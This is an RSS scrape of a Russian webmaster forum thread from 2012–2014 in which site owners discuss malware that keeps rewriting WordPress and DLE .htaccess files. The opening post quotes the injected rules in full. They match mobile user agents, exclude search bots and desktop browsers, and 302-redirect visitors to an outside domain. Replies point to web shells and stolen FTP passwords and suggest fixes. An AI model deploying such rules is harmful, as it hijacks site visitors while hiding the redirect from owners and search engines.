Вирус, редирект .htaccess - Webmasters.ru - RSS
http://webmasters.ru/forum/showthread.php?t=31106
SEO форум вебмастеров - Поисковые системы, оптимизация, раскрутка сайта, оптимизация и продвижение сайта в поисковых системах1744467602Elesite CMS60http://webmasters.ru/forum/images/wm/misc/rss.pngSEO форум вебмастеров Webmasters.ru
http://webmasters.ru/forum
Вирус, редирект .htaccess by Massanet
http://webmasters.ru/forum/showpost.php?p=309108
Mon, 09 Jul 2012 06:19:40 GMTУже тема поднималась на многих форумах, но так решения проблемы ни где не написано.
Регулярно какой то скрипт или вирус подменяет стандартный вордпрессовский .htaccess и уводит мобильный трафик на всякую гадость. Менял права, полный запрет, и все равно проблема остается.
Жду советов, а может и конкретных предложений
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]
RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} audi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} aste [NC,OR]
RewriteCond %{HTTP_USER_AGENT} avan [NC,OR]
RewriteCond %{HTTP_USER_AGENT} benq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} bird [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blac [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR]
RewriteCond %{HTTP_USER_AGENT} brew [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cell [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} dang [NC,OR]
RewriteCond %{HTTP_USER_AGENT} doco [NC,OR]
RewriteCond %{HTTP_USER_AGENT} eric [NC,OR]
RewriteCond %{HTTP_USER_AGENT} hipt [NC,OR]
RewriteCond %{HTTP_USER_AGENT} inno [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipaq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} java [NC,OR]
RewriteCond %{HTTP_USER_AGENT} jigs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} kddi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} keji [NC,OR]
RewriteCond %{HTTP_USER_AGENT} leno [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-c [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-d [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-g [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lge- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} maui [NC,OR]
RewriteCond %{HTTP_USER_AGENT} maxo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mits [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mmef [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mobi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mot- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} moto [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mwbp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} nec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} newt [NC,OR]
RewriteCond %{HTTP_USER_AGENT} noki [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opwv [NC,OR]
RewriteCond %{HTTP_USER_AGENT} palm [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pana [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pant [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pdxg [NC,OR]
RewriteCond %{HTTP_USER_AGENT} phil [NC,OR]
RewriteCond %{HTTP_USER_AGENT} play [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pluc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} port [NC,OR]
RewriteCond %{HTTP_USER_AGENT} prox [NC,OR]
RewriteCond %{HTTP_USER_AGENT} qtek [NC,OR]
RewriteCond %{HTTP_USER_AGENT} qwap [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sage [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sams [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sany [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sch- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} send [NC,OR]
RewriteCond %{HTTP_USER_AGENT} seri [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sgh- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} shar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sie- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} siem [NC,OR]
RewriteCond %{HTTP_USER_AGENT} smal [NC,OR]
RewriteCond %{HTTP_USER_AGENT} smar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sony [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sph- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} symb [NC,OR]
RewriteCond %{HTTP_USER_AGENT} t-mo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} teli [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tim- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tosh [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tsm- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} upg1 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} upsi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} vk-v [NC,OR]
RewriteCond %{HTTP_USER_AGENT} voda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} w3cs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wap- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapa [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapr [NC,OR]
RewriteCond %{HTTP_USER_AGENT} webc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} xda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} xda- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} up.browser [NC,OR]
RewriteCond %{HTTP_USER_AGENT} up.link [NC,OR]
RewriteCond %{HTTP_USER_AGENT} windows.ce [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iemobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mmp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} symbian [NC,OR]
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wap [NC,OR]
RewriteCond %{HTTP_USER_AGENT} phone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPhone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipod [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPod [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pocket [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Moby [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Mobi [NC,OR]
RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC]
RewriteCond %{HTTP_USER_AGENT} !bsd [NC]
RewriteCond %{HTTP_USER_AGENT} !x11 [NC]
RewriteCond %{HTTP_USER_AGENT} !unix [NC]
RewriteCond %{HTTP_USER_AGENT} !macos [NC]
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
RewriteCond %{HTTP_USER_AGENT} !playstation [NC]
RewriteCond %{HTTP_USER_AGENT} !google [NC]
RewriteCond %{HTTP_USER_AGENT} !yandex [NC]
RewriteCond %{HTTP_USER_AGENT} !bot [NC]
RewriteCond %{HTTP_USER_AGENT} !libwww [NC]
RewriteCond %{HTTP_USER_AGENT} !msn [NC]
RewriteCond %{HTTP_USER_AGENT} !america [NC]
RewriteCond %{HTTP_USER_AGENT} !avant [NC]
RewriteCond %{HTTP_USER_AGENT} !download [NC]
RewriteCond %{HTTP_USER_AGENT} !fdm [NC]
RewriteCond %{HTTP_USER_AGENT} !maui [NC]
RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]
RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]
RewriteRule ^(.*)$ http://mobllers.ru/ [L,R=302]Вирус, редирект .htaccess by HeavyHell
http://webmasters.ru/forum/showpost.php?p=309111
Mon, 09 Jul 2012 06:29:57 GMTпоменяй фтп доступ к сайтуВирус, редирект .htaccess by Igor_13
http://webmasters.ru/forum/showpost.php?p=309112
Mon, 09 Jul 2012 06:30:08 GMTБлин у меня тоже проблема, какой-то вирус на вордпрессе поселился, менял пасы не помогло. Яша ругаеться вечно(Вирус, редирект .htaccess by algaretio
http://webmasters.ru/forum/showpost.php?p=309118
Mon, 09 Jul 2012 07:02:50 GMTПроверяйте плагины и установленные темы, а также стоит поставить пароли типа "as;djfk;aeowui2wu" на фтп, базу, админку и пользоваться менеджером паролей, а не вписывать номер своего телефона или дату рождения :)Вирус, редирект .htaccess by CQR
http://webmasters.ru/forum/showpost.php?p=309151
Mon, 09 Jul 2012 08:29:02 GMTпривет,стучи в skype papa.red
расскажу тебе что и как.
Если это DLE то движок, то я знаю на 100% в чём проблема.
Если WP то тоже могу помочь.
Возможно у тебя шел залит.Вирус, редирект .htaccess by Darik5
http://webmasters.ru/forum/showpost.php?p=309217
Mon, 09 Jul 2012 10:56:59 GMTвообщем пользовался одной прогой скорее из него залился вирус два дня назад, прикол в том что заразились все сайты с разными движками и на разных хостингах. Полазил, поискал в инете нашел, что как то мои пароли от ftp стырили, а именно в программах которые используют ftp, пароли были сохранены. Изменив пароли стало все норм,менялся .htaccess и index был ридерект 301 на сайт пустой, а с этого сайта на гугл.Вирус, редирект .htaccess by Kyrsor
http://webmasters.ru/forum/showpost.php?p=309221
Mon, 09 Jul 2012 11:02:43 GMTшел залит.
90% шелл) Если Joomla то 100%Вирус, редирект .htaccess by G00D
http://webmasters.ru/forum/showpost.php?p=309246
Mon, 09 Jul 2012 13:01:43 GMTDarik5,Думаю не так всё просто,мб всётаки закрепились,оставив шелл.Вирус, редирект .htaccess by Darik5
http://webmasters.ru/forum/showpost.php?p=309248
Mon, 09 Jul 2012 13:04:00 GMTG00D, не знай пока все норм=)Вирус, редирект .htaccess by pyramida
http://webmasters.ru/forum/showpost.php?p=309263
Mon, 09 Jul 2012 13:47:04 GMTMassanet, напишите жалобу в ник.ру на домен с приложением всех файлов.Вирус, редирект .htaccess by Massanet
http://webmasters.ru/forum/showpost.php?p=347504
Sun, 21 Oct 2012 15:52:46 GMTПроблема решена.
WP - плагин BulletProof Security
DLE - ищите коды в файлах config.php и functions.php. Решил проблему заменой старыми файлами из бэкапа.Вирус, редирект .htaccess by b00mer
http://webmasters.ru/forum/showpost.php?p=347533
Sun, 21 Oct 2012 17:32:35 GMT5 месяцев проблему решали?))Вирус, редирект .htaccess by kanzas
http://webmasters.ru/forum/showpost.php?p=347559
Sun, 21 Oct 2012 21:16:28 GMT5 месяцев проблему решали?))
Кто то не хило наварился на халявном мобильном трафе:DВирус, редирект .htaccess by buninsan
http://webmasters.ru/forum/showpost.php?p=347694
Mon, 22 Oct 2012 04:54:11 GMTпароли тырят с помощью Total Commander, у меня такая же ситуация была, теперь пользуюсь filezillaВирус, редирект .htaccess by wolf28
http://webmasters.ru/forum/showpost.php?p=347705
Mon, 22 Oct 2012 05:20:23 GMTbuninsan, ну прям с filezilla пароли нельзя снять:DВирус, редирект .htaccess by buninsan
http://webmasters.ru/forum/showpost.php?p=347708
Mon, 22 Oct 2012 05:24:10 GMTможно конечно, но у меня стырили пароли именно когда скачал и установил последнюю версию сломанного Total CommanderВирус, редирект .htaccess by wolf28
http://webmasters.ru/forum/showpost.php?p=347710
Mon, 22 Oct 2012 05:28:53 GMTbuninsan, ну вот и ответили сами же)
софт надо брать в проверенных местах, а лучше лицензию, хотя если программа нужна на раз в месяц - смысла покупать конечно нет:)Вирус, редирект .htaccess by buninsan
http://webmasters.ru/forum/showpost.php?p=347718
Mon, 22 Oct 2012 05:38:26 GMTда я знаю об этом, но 500 гривен за лицензию пока не готов выложить, да и мало у кого отписавшихся в этой теме есть лицензия на Total Commander, мне так кажется.
wolf28 - простите за нескромный вопрос, у вас лицензионный Total Commander?Вирус, редирект .htaccess by wolf28
http://webmasters.ru/forum/showpost.php?p=347732
Mon, 22 Oct 2012 06:01:20 GMTbuninsan, у меня его вообще сейчас нет:)
потому что смысла держать его у меня нет; когда был - стояла демка вроде;)Вирус, редирект .htaccess by kanzas
http://webmasters.ru/forum/showpost.php?p=347863
Mon, 22 Oct 2012 08:23:20 GMTНе держите и не сохраняйте пароли в FTP-клиентах, с filezilla они тоже уводятся, об этом все хостеры предупреждают в стандартных мерах по борьбе с ломом.Вирус, редирект .htaccess by Massanet
http://webmasters.ru/forum/showpost.php?p=348481
Tue, 23 Oct 2012 04:59:24 GMT5 месяцев проблему решали?))
с ворд прессом проблему быстро решил, а вот с DLE совсем недавноВирус, редирект .htaccess by buninsan
http://webmasters.ru/forum/showpost.php?p=352105
Sun, 28 Oct 2012 11:19:59 GMTсоветую всем ставить на ftp блокировку по ip-адресу (используя файл .htaccess)Вирус, редирект .htaccess by sergey86
http://webmasters.ru/forum/showpost.php?p=583165
Fri, 07 Mar 2014 06:44:10 GMTПривет! Скажи как ты удалил вирус, а то я нашел где он сидит по всем площадкам удалил. Но он как то появляется снова. КАк его удалить?